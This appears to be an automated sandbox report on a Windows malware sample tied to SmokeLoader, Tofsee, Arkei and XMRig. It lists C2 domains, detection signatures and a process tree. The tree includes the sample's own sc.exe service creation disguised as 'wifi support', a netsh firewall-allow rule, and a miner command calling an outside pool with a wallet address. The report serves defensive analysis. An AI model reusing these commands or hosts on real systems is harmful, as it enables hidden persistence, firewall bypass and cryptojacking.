Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    11/01/2022, 08:15

General

  • Target
    58bf01c0df4ced09caeac8d46e271e29.exe
  • Size 277KB
  • Sample220111-j5ktyafdcr
  • SHA256 e7b1b507626cfd8430b9c2ec76804dc89aa4baa3c9ae06c19e41bcd6931e1f5c
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\58bf01c0df4ced09caeac8d46e271e29.exe
    "C:\Users\Admin\AppData\Local\Temp\58bf01c0df4ced09caeac8d46e271e29.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Users\Admin\AppData\Local\Temp\58bf01c0df4ced09caeac8d46e271e29.exe
      "C:\Users\Admin\AppData\Local\Temp\58bf01c0df4ced09caeac8d46e271e29.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1516
  • C:\Users\Admin\AppData\Local\Temp\6A67.exe
    C:\Users\Admin\AppData\Local\Temp\6A67.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:848
  • C:\Users\Admin\AppData\Local\Temp\794A.exe
    C:\Users\Admin\AppData\Local\Temp\794A.exe
    1⤵
    • Executes dropped EXE
    PID:1020
  • C:\Users\Admin\AppData\Local\Temp\877E.exe
    C:\Users\Admin\AppData\Local\Temp\877E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:612
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dxeofndz\
      2⤵
        PID:1752
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ztrlmbjy.exe" C:\Windows\SysWOW64\dxeofndz\
        2⤵
          PID:1084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dxeofndz binPath= "C:\Windows\SysWOW64\dxeofndz\ztrlmbjy.exe /d\"C:\Users\Admin\AppData\Local\Temp\877E.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1836
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description dxeofndz "wifi internet conection"
            2⤵
              PID:1580
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start dxeofndz
              2⤵
                PID:1376
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1508
              • C:\Users\Admin\AppData\Local\Temp\9D7E.exe
                C:\Users\Admin\AppData\Local\Temp\9D7E.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1668
                • C:\Users\Admin\AppData\Local\Temp\9D7E.exe
                  C:\Users\Admin\AppData\Local\Temp\9D7E.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:740
              • C:\Windows\SysWOW64\dxeofndz\ztrlmbjy.exe
                C:\Windows\SysWOW64\dxeofndz\ztrlmbjy.exe /d"C:\Users\Admin\AppData\Local\Temp\877E.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1064
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1476
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1212
              • C:\Users\Admin\AppData\Local\Temp\1033.exe
                C:\Users\Admin\AppData\Local\Temp\1033.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                PID:1964
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1428
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:1572
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:1268

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      memory/612-97-0x0000000000230000-0x0000000000243000-memory.dmp

                      memory/612-96-0x0000000000220000-0x000000000022D000-memory.dmp

                      memory/612-99-0x0000000000400000-0x0000000000453000-memory.dmp

                      memory/740-84-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/740-82-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/740-89-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/740-90-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/740-86-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/740-85-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/740-91-0x0000000000D90000-0x0000000000D91000-memory.dmp

                      memory/740-83-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/848-77-0x00000000001C0000-0x00000000001C9000-memory.dmp

                      memory/848-78-0x0000000000400000-0x0000000000452000-memory.dmp

                      memory/848-76-0x00000000001B0000-0x00000000001B9000-memory.dmp

                      memory/1020-72-0x0000000000220000-0x0000000000231000-memory.dmp

                      memory/1020-73-0x0000000000260000-0x000000000027C000-memory.dmp

                      memory/1020-74-0x0000000000400000-0x0000000000457000-memory.dmp

                      memory/1064-144-0x0000000000400000-0x0000000000453000-memory.dmp

                      memory/1212-167-0x0000000000190000-0x0000000000281000-memory.dmp

                      memory/1212-166-0x0000000000190000-0x0000000000281000-memory.dmp

                      memory/1268-152-0x0000000000060000-0x000000000006C000-memory.dmp

                      memory/1268-151-0x0000000000070000-0x0000000000077000-memory.dmp

                      memory/1404-60-0x0000000002630000-0x0000000002646000-memory.dmp

                      memory/1404-92-0x0000000003C00000-0x0000000003C16000-memory.dmp

                      memory/1428-160-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/1428-163-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/1428-165-0x0000000004B70000-0x0000000004B71000-memory.dmp

                      memory/1428-164-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/1428-154-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/1428-161-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/1476-141-0x0000000000080000-0x0000000000095000-memory.dmp

                      memory/1476-140-0x0000000000080000-0x0000000000095000-memory.dmp

                      memory/1516-57-0x0000000075AB1000-0x0000000075AB3000-memory.dmp

                      memory/1516-55-0x0000000000400000-0x0000000000409000-memory.dmp

                      memory/1572-149-0x00000000001A0000-0x000000000020B000-memory.dmp

                      memory/1572-148-0x0000000000210000-0x0000000000284000-memory.dmp

                      memory/1572-147-0x00000000745D1000-0x00000000745D3000-memory.dmp

                      memory/1624-59-0x0000000000240000-0x0000000000249000-memory.dmp

                      memory/1624-58-0x0000000000230000-0x0000000000238000-memory.dmp

                      memory/1668-79-0x0000000000F20000-0x0000000000F21000-memory.dmp

                      memory/1668-70-0x0000000000F80000-0x000000000100A000-memory.dmp

                      memory/1668-71-0x0000000000F80000-0x000000000100A000-memory.dmp

                      memory/1668-80-0x0000000000220000-0x0000000000221000-memory.dmp

                      memory/1964-124-0x0000000000170000-0x0000000000171000-memory.dmp

                      memory/1964-128-0x0000000000180000-0x0000000000181000-memory.dmp

                      memory/1964-115-0x0000000000090000-0x0000000000091000-memory.dmp

                      memory/1964-116-0x0000000000090000-0x0000000000091000-memory.dmp

                      memory/1964-118-0x0000000000150000-0x0000000000151000-memory.dmp

                      memory/1964-119-0x0000000000150000-0x0000000000151000-memory.dmp

                      memory/1964-121-0x0000000000160000-0x0000000000161000-memory.dmp

                      memory/1964-122-0x0000000000160000-0x0000000000161000-memory.dmp

                      memory/1964-135-0x0000000000E20000-0x00000000018D5000-memory.dmp

                      memory/1964-125-0x0000000000170000-0x0000000000171000-memory.dmp

                      memory/1964-127-0x0000000000180000-0x0000000000181000-memory.dmp

                      memory/1964-114-0x0000000000090000-0x0000000000091000-memory.dmp

                      memory/1964-111-0x0000000000080000-0x0000000000081000-memory.dmp

                      memory/1964-112-0x0000000000080000-0x0000000000081000-memory.dmp

                      memory/1964-113-0x0000000000080000-0x0000000000081000-memory.dmp

                      memory/1964-138-0x0000000000190000-0x0000000000191000-memory.dmp

                      memory/1964-129-0x0000000000190000-0x0000000000191000-memory.dmp

                      memory/1964-130-0x0000000000190000-0x0000000000191000-memory.dmp

                      memory/1964-132-0x00000000001B0000-0x00000000001B1000-memory.dmp

                      memory/1964-133-0x00000000001B0000-0x00000000001B1000-memory.dmp

                      memory/1964-134-0x00000000001B0000-0x00000000001B1000-memory.dmp